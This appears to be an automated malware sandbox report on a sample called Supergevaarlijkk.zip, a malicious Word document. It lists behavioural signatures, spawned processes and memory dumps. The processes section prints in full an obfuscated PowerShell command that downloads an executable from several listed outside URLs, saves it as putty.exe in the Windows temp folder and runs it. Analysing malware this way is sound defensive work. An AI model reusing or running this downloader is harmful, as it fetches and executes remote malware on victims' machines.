Overview

overview

10

task1

 

10

task2

 

10

task3

 

10

task4

 

10

task5

 

8

task6

 

10

task7

 

10

task8

 

10

task9

 

10

task10

 

10

Analysis

  • max time kernel
    111s
  • max time network
    120s
  • resource
    win7v191014

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Supergevaarlijkk.zip

  • Sample

    191029-7v9yqqxm3n

  • SHA256

    6cd246cd910e33eaee00e3d138bc49fcf85562b5f8c394d4b092372d25cc0eac

Score
N/A

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs 12 IoCs
    persistence
  • Drops file in system dir 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Drops Office document 4 IoCs
    dropperexploitermaldoc
  • Modifies registry class 1 TTPs 64 IoCs
    persistence
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc"
    1⤵
    • Suspicious use of WriteProcessMemory
    • Drops file in system dir
    • Suspicious behavior: AddClipboardFormatListener
    • Drops Office document
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1332
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $idIgw8 = '$zMbv9jt0l = new-obj15464.589749099ect -com15464.589749099obj15464.589749099ect wsc15464.589749099ript.she15464.589749099ll;$ILTY2 = new-object sys15464.589749099tem.net.web15464.589749099client;$rEAav7Xix = new-object random;$YiwXfglRS = \"15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://antigua.aguilarnoticias.com/nYZZcHxoYdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://mywedphoto.ru/SPcBpzOvD6_bogkPa,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki\".spl15464.589749099it(\",\");$iWybG3KDH = $rEAav7Xix.nex15464.589749099t(1, 65536);$jPBYO2 = \"c:\win15464.589749099dows\temp\put15464.589749099ty.exe\";for15464.589749099each($MOrNXe14G in $YiwXfglRS){try{$ILTY2.dow15464.589749099nlo15464.589749099adf15464.589749099ile($MOrNXe14G.ToS15464.589749099tring(), $jPBYO2);sta15464.589749099rt-pro15464.589749099cess $jPBYO2;break;}catch{}}'.replace('15464.589749099', $MGFnZb);$Wj3yxlHrU = '';iex($idIgw8);
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in system dir
    • Suspicious use of AdjustPrivilegeToken
    PID:1116
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "-178278147-269788579-39531767619503241942075569820-2058834889832827115-2090839919"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1100
  • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
    "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
    1⤵
    • Uses Task Scheduler COM API
    PID:1964

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1332-0-0x0000000006770000-0x0000000006774000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1332-1-0x0000000000373000-0x0000000000377000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1332-3-0x0000000008A00000-0x0000000008A04000-memory.dmp

    Filesize

    16KB

    Download